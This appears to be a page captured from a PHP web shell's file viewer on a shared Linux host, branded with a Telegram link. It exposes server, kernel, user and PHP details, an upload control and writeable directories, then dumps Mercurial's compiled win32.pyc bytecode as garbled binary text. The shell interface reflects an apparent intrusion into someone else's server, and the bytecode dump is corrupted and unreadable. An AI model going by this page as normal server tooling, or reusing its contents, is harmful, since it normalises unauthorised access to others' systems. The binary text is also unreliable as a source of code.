https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/mercurial/__pycache__/win32.cpython-310.pyc
o

�]Lb'X�
@s�ddlmZddlZddlmZddlZddlZddlZddlZddl	Z	ddl
mZmZej
jZej
jZej
jZej
jZejZejZejZejZejZejZ Z!ej"Z#e#Z$ej"Z%ej&Z'e#d�j(Z)dZ*dZ+dZ,dZ-d	Z.d
Z/e�0ej�e�0ej"�krejZ1ejZ2ne�0ej3�e�0ej"�kr�ej4Z1ej3Z2Gdd�dej5�Z6Gd
d�dej5�Z7dZ8dZ9dZ:dZ;dZ<dZ=dZ>dZ?dZ@Gdd�dej5�ZAGdd�dej5�ZBdZCdZDGdd�dej5�ZEGdd�dej5�ZFGd d!�d!ej5�ZGed"�j(ZHed#�j(ZId$ZJdZKd$ZLGd%d&�d&ej5�ZMGd'd(�d(ej5�ZNGd)d*�d*ej5�ZOeejegejP_Qe%ejP_Rej"e%ej"ej"ej"eej"ej"gejS_QeejS_Re%gejT_QeejT_Re eeej"eee#gejU_Qe#ejU_Re#ej"gejV_QeejV_Re#gejW_QeejW_Rze e ej"gejX_QeejX_RWn
eY�yxYnwe egejZ_QeejZ_RdZ[dZ\dZ]dZ^dZ_d+Z`d,Zae gejb_Qeejb_Re ej"eej"ej"ej"ej"egejc_Qeejc_Re ej"egejd_Qeejd_Reeegeje_Qe#eje_Re#ej"gejf_Qeejf_Rgejg_Qeejg_Re#ej"egejh_Qeejh_Re e ej"ej"eeej"e ej"ej"g
eji_Qeeji_Regejj_Qdejj_Rgejk_Qeejk_Re�lee�Zmemegejn_Qeejn_Re#egejo_Qeejo_Re#ej"gejp_Qeejp_Regejq_Qe#ejq_Re#ej"gejr_Qeejr_Rej"ej"gejs_Qeejs_Re#ej"gejt_Qeejt_Re#ejugejv_Qeejv_Re�lee$e2�Zwewe2gejx_Qeejx_Re#ej"eej"ej"ej"gejy_Qeejy_Rd-d.�Zzd/d0�Z{dXd2d3�Z|d4d5�Z}d6d7�Z~d8d9�Zd:d;�Z�d<d=�Z�d>d?�Z�d@dA�Z�dBdC�Z�dDdE�Z�dFdG�Z�dHdI�Z�gZ�dJdK�Z�dLdM�Z�dNdO�Z�dPdQ�Z�dRdS�Z�dTdU�Z�dVdW�Z�dS)Y�)�absolute_importN�)�encoding�pycompat�����W�m�z��c@seZdZdefdefgZdS)�	_FILETIME�
dwLowDateTime�dwHighDateTimeN)�__name__�
__module__�__qualname__�_DWORD�_fields_�rr�1/usr/lib/python3/dist-packages/mercurial/win32.pyr=src@sLeZdZdefdefdefdefdefdefdefdefd	efd
efg
ZdS)�_BY_HANDLE_FILE_INFORMATION�dwFileAttributes�ftCreationTime�ftLastAccessTime�ftLastWriteTime�dwVolumeSerialNumber�
nFileSizeHigh�nFileSizeLow�nNumberOfLinks�nFileIndexHigh�
nFileIndexLowN)rrrrrrrrrrrAs�r���i�i iic@s~eZdZdefdefdefdefdefdefdefdefd	efd
efdefdefd
efdefdejfdefdefdefgZ	dS)�_STARTUPINFO�cb�
lpReserved�	lpDesktop�lpTitle�dwX�dwY�dwXSize�dwYSize�
dwXCountChars�
dwYCountChars�dwFillAttribute�dwFlags�wShowWindow�cbReserved2�lpReserved2�	hStdInput�
hStdOutput�	hStdErrorN)
rrrr�_LPSTR�_WORD�ctypes�c_char_p�_HANDLErrrrrr%ds(�r%c@s(eZdZdefdefdefdefgZdS)�_PROCESS_INFORMATION�hProcess�hThread�dwProcessId�
dwThreadIdN)rrrr<rrrrrrr={s�r=ic@s eZdZdejfdejfgZdS)�_COORD�X�YN�rrrr:�c_shortrrrrrrB�srBc@s0eZdZdejfdejfdejfdejfgZdS)�_SMALL_RECT�Left�Top�Right�BottomNrErrrrrG�s�rGc@s.eZdZdefdefdefdefdefgZdS)�_CONSOLE_SCREEN_BUFFER_INFO�dwSize�dwCursorPosition�wAttributes�srWindow�dwMaximumWindowSizeN)rrrrBr9rGrrrrrrL�s�rLi����i�ic
@sJeZdZdefdefdefdefdejfdefdejfdefd	eff	Zd
S)�CERT_CHAIN_CONTEXT�cbSize�
dwErrorStatus�dwInfoStatus�cChain�rgpChain�cLowerQualityChainContext�rgpLowerQualityChainContext�fHasRevocationFreshnessTime�dwRevocationFreshnessTimeN)rrrrr:�c_void_p�_BOOLrrrrrrR�s�rRc@s$eZdZdefdefdejffZdS)�CERT_USAGE_MATCH�dwType�cUsageIdentifier�rgpszUsageIdentifierN)rrrrr:r\rrrrrr^�s
�r^c
@sJeZdZdefdefdefdefdefdefdejfdejfd	eff	Zd
S)�CERT_CHAIN_PARArS�RequestedUsage�RequestedIssuancePolicy�dwUrlRetrievalTimeout�fCheckRevocationFreshnessTimer[�pftCacheResync�pStrongSignPara�dwStrongSignFlagsN)	rrrrr^r]r:r\rrrrrrb�s�rb��cCs@t��}|dkr|d8}tj|d�}t|jdt�|�|jf��)Ni���l)�codez%s: %s)	�	_kernel32�GetLastErrorr:�WinError�OSError�errnor�strfromlocal�strerror)�namerl�errrrr�
_raiseoserrorhs�rvc	Cslt�|dttBtBdttd�}|tkrt|�zt	�}t�
|t�|��s(t|�|Wt�
|�St�
|�w�Nr)rm�CreateFileA�_FILE_SHARE_READ�_FILE_SHARE_WRITE�_FILE_SHARE_DELETE�_OPEN_EXISTING�_FILE_FLAG_BACKUP_SEMANTICS�_INVALID_HANDLE_VALUErvr�GetFileInformationByHandler:�byref�CloseHandle)rt�fh�firrr�_getfileinfots"
�	r�TcCs�t�t�}|�}tt�t�t�d�}t�t|t	|��}|dur#t
d�d}|s+|dO}z-t�d|ddt�|�|dt�|��sBt
d�|j
}|jt@dkW|rSt�|�t�|�S|r`t�|�t�|�w)a�Tests the given certificate to see if there is a complete chain to a
    trusted root certificate.  As a side effect, missing certificates are
    downloaded and installed unless ``build=False``.  True is returned if a
    chain to a trusted root exists (even if built on the fly), otherwise
    False.  NB: A chain to a trusted root does NOT imply that the certificate
    is valid.
    )rSrcNsCertCreateCertificateContextr�sCertGetCertificateChain)r:�POINTERrRrb�sizeofr^�_crypt32�CertCreateCertificateContext�X509_ASN_ENCODING�lenrv�CertGetCertificateChainr��contentsrT�CERT_TRUST_IS_PARTIAL_CHAIN�CertFreeCertificateChain�CertFreeCertificateContext)�cert�build�chainctxptr�	pchainctx�	chainpara�certctx�flags�chainctxrrr�checkcertificatechain�sB
	�
��

�
r�cCs@zt�||d�st|�WdSWdStyt|�YdSw�N)rm�CreateHardLinkArv�AttributeError)�src�dstrrr�oslink�s��r�cCs
t|�jS)z-return number of hardlinks for the given file)r�r)rtrrr�nlinks�s
r�cCs4t|�}t|�}|j|jko|j|jko|j|jkS)zDReturns whether path1 and path2 refer to the same file or directory.)r�rrr ��path1�path2�res1�res2rrr�samefile�s
�
�r�cCst|�}t|�}|j|jkS)z7Returns whether path1 and path2 are on the same device.)r�rr�rrr�
samedevice�sr�c	CsRt�|���}t�}t�|dddt�|�d�s&t��}|t	kr!dSt�
|��|jSrw)�msvcrt�
get_osfhandle�filenorrm�
PeekNamedPiper:r�rn�_ERROR_BROKEN_PIPEro�value)�pipe�handle�availrurrr�peekpipe�s�
r�cCs(|jtjkrdSt��}|tkp|tkS)NF)rq�EINVALrmrnr��_ERROR_NO_DATA)rurrr�lasterrorwaspipeerror�sr�c	Csht�td|�}|r.zt�}t�|t�|��r!|jtkWt�	|�SWt�	|�nt�	|�wt�
�tkS)zOreturn True if pid is still running or unable to
    determine, False otherwiseF)rm�OpenProcess�_PROCESS_QUERY_INFORMATIONr�GetExitCodeProcessr:r�r��
_STILL_ACTIVEr�rn�_ERROR_INVALID_PARAMETER)�pid�h�statusrrr�testpid�s
�r�cCsNd}t�|d�}t�dt�|�|�}|dkrt���||kr$t�t��|jS)zreturn full path of hg.exeiXrNr)r:�create_string_bufferrm�GetModuleFileNameAr�ro�_ERROR_INSUFFICIENT_BUFFERr�)�size�bufr�rrr�executablepath�s
r�cCsJtj�|�}tt|�t�d}t�|�}t�	|t�
|�|�s"t���|jS)z�Get the mount point of the filesystem from a directory or file
    (best-effort)

    Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
    r)
�os�path�realpath�maxr��	_MAX_PATHr:r�rm�GetVolumePathNameAr�ror�)r�r�r�r�rrr�
getvolumenames
r�cCspt|�}t�|�}|tkrdS|ttttfvrdStd}t	�
|�}t�|dddddt	�|�|�s5t	�
��|jS)z�Get the filesystem type name from a directory or file (best-effort)

    Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
    scifsNrr)r�rm�
GetDriveTypeA�
_DRIVE_REMOTE�_DRIVE_REMOVABLE�_DRIVE_FIXED�_DRIVE_CDROM�_DRIVE_RAMDISKr�r:r��GetVolumeInformationAr�ror�)r��volume�tr�rtrrr�	getfstype!s$
�
�r�cCs>td�}t�|jd�}t�t�|�t�|��st���|jS)zreturn name of current useri,r)rr:r�r��	_advapi32�GetUserNameAr�ro)r�r�rrr�getuser@s
r�cCs:dd�}trdSt|�}t�|�t�|d�st���dS)z�Register a termination handler for console events including
    CTRL+C. python signal handlers do not work well with socket
    operations.
    cSst�d�dS)Nr)rm�ExitProcess)�eventrrr�handlerRsz!setsignalhandler.<locals>.handlerNT)�_signalhandler�_SIGNAL_HANDLER�appendrm�SetConsoleCtrlHandlerr:ro)r�r�rrr�setsignalhandlerLs
�r�cCs$dd�}t��}t�t|�|�dS)NcSs6t�}t�|t�|��||jkrt�|t�dSdS)NFT)r�_user32�GetWindowThreadProcessIdr:r�r��
ShowWindow�_SW_HIDE)�hwndr��wpidrrr�callback^s
zhidewindow.<locals>.callback)rm�GetCurrentProcessIdr��EnumWindows�_WNDENUMPROC)r�r�rrr�
hidewindow]sr�cCsvd}d}t�t�}|dus|tkr||fSt�}t�|t�|��s%||fS|jj	|jj
}|jj|jjd}||fS)N�O�r)
rm�GetStdHandle�_STD_ERROR_HANDLEr~rL�GetConsoleScreenBufferInfor:r�rPrJrHrKrI)�width�height�	screenbuf�csbirrr�termsizejs�r�cCshd}t�t�}|tkr
dStd�}t�|t�|��sdS|j|@dkr2|j|O_t�	||�s2dSdS)zaEnable virtual terminal mode for the associated console.  Return True if
    enabled, else False.r"FrT)
rmr��_STD_OUTPUT_HANDLEr~r�GetConsoleModer:r�r��SetConsoleMode)�"ENABLE_VIRTUAL_TERMINAL_PROCESSINGr��moderrr�enablevtmodes�r�cCs�t�}t�t�|_t�}d}tjD]
}|d|tj|f7}q|s#d}|d7}t�t	�
tj|��}t�
dt�|�dddt|t��t�|�t�|��
}|sPt���t�|j�t�|j�|jS)N�s%s=%s�F)r%r:r�r&r=r�environ�
subprocess�list2cmdliner�rapplyrrrm�CreateProcessA�
strtolocal�_CREATE_NO_WINDOW�getcwdr�ror�r>r?r@)�args�si�pi�env�k�resrrr�
spawndetached�s6
�rcCs�tj�|�rttjdt�|���t�	d�D].}d|t
�dd�f}z	t�||�Wnt
yD}z
|jtjkr:�WYd}~qd}~wwttjd��zt�|�WdSt
yut�|t�z	t�|�WYdSt
ytYYdSww)z3try to implement POSIX' unlink semantics on Windowsz'Unlinking directory not permitted: '%s'�
s%s-%08xrl��Nz"No usable temporary filename found)r�r��isdir�IOErrorrq�EPERMrrrr�xrange�random�randint�renamerp�EEXIST�unlinkrm�SetFileAttributesA�_FILE_ATTRIBUTE_NORMAL)�f�tries�temp�errrr�s:�������rcCs"t�|�|rt�|t�dSdSr�)r��mkdirrmr�#_FILE_ATTRIBUTE_NOT_CONTENT_INDEXED)r��
notindexedrrr�makedir�s
�r)T)��
__future__rr:�ctypes.wintypes�wintypesrqr�r�rr��rr�windll�kernel32rm�advapi32r��user32r��crypt32r��c_longr]�c_ushortr9�c_ulongr�c_uint�_UINT�_LONGr;�_LPCSTRr8r\r<�_HWND�_PCCERT_CONTEXT�MAX_PATHr�r�r~�_ERROR_SUCCESS�_ERROR_NO_MORE_FILESr�r�r�r�r��_WPARAM�_LPARAM�
c_longlong�c_ulonglong�	Structurerrryrzr{r|r}rrr�r�r%r=rr�rBrGrLr�r�r�r��PKCS_7_ASN_ENCODINGrRr^rbr��argtypes�restyper�r�rxrr�r�r�r�_DRIVE_UNKNOWN�_DRIVE_NO_ROOT_DIRr�r�r�r�r�r�r�r�r�r�rnr�rr�r��WINFUNCTYPEr�r�r�r�r�r�r�r��c_intr�r�r�r�rvr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrr�<module>s�

		


	��

�	
�
�
�

�
2	
*8

https://t.me/RX1948 - 2025